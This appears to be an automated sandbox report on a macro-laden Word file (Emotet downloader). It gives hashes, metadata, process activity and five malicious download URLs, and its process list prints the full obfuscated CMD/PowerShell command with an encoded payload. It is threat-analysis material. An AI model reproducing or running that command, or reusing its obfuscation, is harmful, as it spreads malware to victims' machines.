analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

F521-64O685.doc

Full analysis: https://app.any.run/tasks/56f461b2-e7b0-4ee4-add3-88ca4f48864b
Verdict: Malicious activity
Threats:

Trojans are a group of malicious programs distinguished by their ability to masquerade as benign software. Depending on their type, trojans possess a variety of capabilities, ranging from maintaining full remote control over the victim’s machine to stealing data and files, as well as dropping other malware. At the same time, the main functionality of each trojan family can differ significantly depending on its type. The most common trojan infection chain starts with a phishing email.

Analysis date: November 08, 2018, 07:10:28
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
generated-doc
trojan
maldoc-4
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Author: Jack-PC, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Thu Nov 8 03:58:00 2018, Last Saved Time/Date: Thu Nov 8 03:58:00 2018, Number of Pages: 1, Number of Words: 2, Number of Characters: 13, Security: 0
MD5:

2E3BC68DD32522D7FF2D7F0A14710692

SHA1:

06F2FFD2933E5C6DFF247BE8DF96AFF6154033A5

SHA256:

9B716ABFF6984130172F7EFE3AE3A603D8FD9F5F75B388C7B2C3921E132AD7B2

SSDEEP:

768:L9EVucRFoqkp59YBvLdTv9ReVi4eFov5UHRFBt+1o92pX6ZCrrjIu:L9Eocn1kp59gxBK85fBt+a9yj

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Unusual execution from Microsoft Office

      • WINWORD.EXE (PID: 3272)
    • Starts CMD.EXE for commands execution

      • WINWORD.EXE (PID: 3272)
  • SUSPICIOUS

    • Creates files in the user directory

      • powershell.exe (PID: 1404)
    • Executes PowerShell scripts

      • CMD.exe (PID: 3176)
  • INFO

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 3272)
    • Creates files in the user directory

      • WINWORD.EXE (PID: 3272)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (54.2)
.doc | Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

CompObjUserType: Microsoft Word 97-2003 Document
CompObjUserTypeLen: 32
HeadingPairs:
  • Title
  • 1
TitleOfParts: -
HyperlinksChanged: No
SharedDoc: No
LinksUpToDate: No
ScaleCrop: No
AppVersion: 16
CharCountWithSpaces: 14
Paragraphs: 1
Lines: 1
Company: -
CodePage: Windows Latin 1 (Western European)
Security: None
Characters: 13
Words: 2
Pages: 1
ModifyDate: 2018:11:08 03:58:00
CreateDate: 2018:11:08 03:58:00
TotalEditTime: -
Software: Microsoft Office Word
RevisionNumber: 1
LastModifiedBy: -
Template: Normal.dotm
Comments: -
Keywords: -
Author: Jack-PC
Subject: -
Title: -
No data.
screenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
34
Monitored processes
3
Malicious processes
1
Suspicious processes
0

Behavior graph

Click at the process to see the details
start winword.exe no specs cmd.exe no specs powershell.exe

Process information

PID
CMD
Path
Indicators
Parent process
3272"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Downloads\F521-64O685.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
3176CMD C:\wIndowS\sySTem32\CMD.ExE /C "SeT FYB=^& ((Gv '*mDr*').nAme[3,11,2]-joIN'') ( NeW-oBJecT io.StrEAMReAder((NeW-oBJecT SysTEm.iO.CoMprESSiOn.DEfLAtestrEAM( [sySTeM.IO.mEMORysTrEAm] [SysTEm.conveRt]::FrOMBASE64STrinG( 'TZBda8IwGIX/Si8CUZwpc4OhoSDq5vxAhLk5YTdJ+jbNTBPXxsYi/vdV3cDb8xweDgf9iE1kwLct/wbhggU4sgY+1AqMo2j2MY5w6tyuF4bcHmwilZQaCiJsFq6Kp+1g3d3I/l9DsJxbwysHFy4XJSzL4b644aqQ7Aq9y6v1/B9574l03uY6ZoLFkFXEA08Vv6qmw/dDOug839ZZZS2HeC+YU9Yw7fJ94YgyYf44SzYuuZ9+YvK208o1cB83KcpWyyAKcOehgymyk3mEwJQ9B9muhb9w68xbmMABME1sDkykDTR+HQXKBOcjmsd68RHVh5GR9UZbFr8oDZfOXXAWNunElHYL7UktvSSU154tPdUbRXo8nX4B') , [IO.comPResSiOn.COmpRessionmOde]::dECOmpReSs ) ) ,[SYsTEm.tEXT.ENCoDiNG]::AScII)).reAdTOeNd() && POweRsheLL sEt-ITEM ( 'va' + 'Riab'+'l' + 'e:l9eS' + '2' ) ( [TYPe](\"{1}{2}{0}\" -F'ronMent','EN','vI' ) ) ; ( (Gci ( 'Va' + 'RiAb'+'l' + 'e:L9ES' + '2') ).VALUE::(\"{2}{0}{1}{4}{3}\" -f 'ETENV','IRoNmENtV','G','ABLE','ARI' ).Invoke('fYB',(\"{0}{2}{1}\"-f 'pRo','s','cEs' ) )) ^| . ( ( ^& ('Gv') ( \"{0}{1}\"-f '*MD','r*' )).\"N`AMe\"[3,11,2]-jOiN'' )" C:\Windows\system32\CMD.exeWINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
1404POweRsheLL sEt-ITEM ( 'va' + 'Riab'+'l' + 'e:l9eS' + '2' ) ( [TYPe](\"{1}{2}{0}\" -F'ronMent','EN','vI' ) ) ; ( (Gci ( 'Va' + 'RiAb'+'l' + 'e:L9ES' + '2') ).VALUE::(\"{2}{0}{1}{4}{3}\" -f 'ETENV','IRoNmENtV','G','ABLE','ARI' ).Invoke('fYB',(\"{0}{2}{1}\"-f 'pRo','s','cEs' ) )) | . ( ( & ('Gv') ( \"{0}{1}\"-f '*MD','r*' )).\"N`AMe\"[3,11,2]-jOiN'' )C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
CMD.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
1 082
Read events
970
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
2
Text files
2
Unknown types
4

Dropped files

PID
Process
Filename
Type
3272WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR966F.tmp.cvr
MD5:
SHA256:
1404powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\EBF66345XICNA9MLOP9Y.temp
MD5:
SHA256:
3272WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\F521-64O685.doc.LNKlnk
MD5:BA8BD116A8B77B294D9353F98F2DD4B9
SHA256:FDB600AEBB973EED9E438854A2C47789A9E7055EE3E3D59B019983FCCFF20291
3272WINWORD.EXEC:\Users\admin\Downloads\~$21-64O685.docpgc
MD5:A4D9268388605E73D348CFFC0B9BE52C
SHA256:AE7CA0CA26D7EDA892CD2D6DE9ED3822008BD49934D8A4019DBE157388A60470
3272WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\index.dattext
MD5:6B601524DC6BE009C4BDDEA0529DE4A9
SHA256:F62603A681CD10057041CE2B9A3E6AF7DA7376FB3C01C83782C056DD77C4BF68
3272WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:D01CA1EBAE094E9B94B62FE2E8E6B18C
SHA256:64C23A325019296C94D75B4C8C29C932798431B8B257A13D0E63636B3DE68C04
1404powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF5da3fc.TMPbinary
MD5:3C6A7AAE234382390B6B52F47ECA1BAA
SHA256:C8D6BF40DC644B318B2D69E1A1CD3EC9CCFDED8ADE326D33CFAA2C4E3187FCD2
1404powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:3C6A7AAE234382390B6B52F47ECA1BAA
SHA256:C8D6BF40DC644B318B2D69E1A1CD3EC9CCFDED8ADE326D33CFAA2C4E3187FCD2
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
5
TCP/UDP connections
5
DNS requests
5
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
1404
powershell.exe
GET
404
134.0.10.66:80
http://carbonbyte.com/gNvePvCus
ES
xml
345 b
malicious
1404
powershell.exe
GET
404
50.62.102.1:80
http://boxofgiggles.com/Ts7kBW9Yg
US
xml
345 b
malicious
1404
powershell.exe
GET
404
192.185.129.72:80
http://www.gtworldacademy.webhibe.com/JCUxhB2E
US
xml
345 b
malicious
1404
powershell.exe
GET
404
139.59.58.214:80
http://www.ayoobeducationaltrust.in/r4KfYtf1JX
IN
xml
345 b
malicious
1404
powershell.exe
GET
404
23.229.184.199:80
http://carisga.com/gwtryWL
US
xml
345 b
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
1404
powershell.exe
134.0.10.66:80
carbonbyte.com
10dencehispahard, S.L.
ES
malicious
1404
powershell.exe
23.229.184.199:80
carisga.com
GoDaddy.com, LLC
US
malicious
1404
powershell.exe
192.185.129.72:80
www.gtworldacademy.webhibe.com
CyrusOne LLC
US
malicious
1404
powershell.exe
139.59.58.214:80
www.ayoobeducationaltrust.in
Digital Ocean, Inc.
IN
malicious
1404
powershell.exe
50.62.102.1:80
boxofgiggles.com
GoDaddy.com, LLC
US
malicious

DNS requests

Domain
IP
Reputation
boxofgiggles.com
  • 50.62.102.1
malicious
carbonbyte.com
  • 134.0.10.66
malicious
carisga.com
  • 23.229.184.199
malicious
www.gtworldacademy.webhibe.com
  • 192.185.129.72
malicious
www.ayoobeducationaltrust.in
  • 139.59.58.214
malicious

Threats

PID
Process
Class
Message
1404
powershell.exe
A Network Trojan was detected
SC TROJAN_DOWNLOADER Generic Trojan Emotet downloader
1404
powershell.exe
A Network Trojan was detected
SC TROJAN_DOWNLOADER Generic Trojan Emotet downloader
1404
powershell.exe
A Network Trojan was detected
SC TROJAN_DOWNLOADER Generic Trojan Emotet downloader
1404
powershell.exe
A Network Trojan was detected
SC TROJAN_DOWNLOADER Generic Trojan Emotet downloader
1404
powershell.exe
A Network Trojan was detected
SC TROJAN_DOWNLOADER Generic Trojan Emotet downloader
No debug info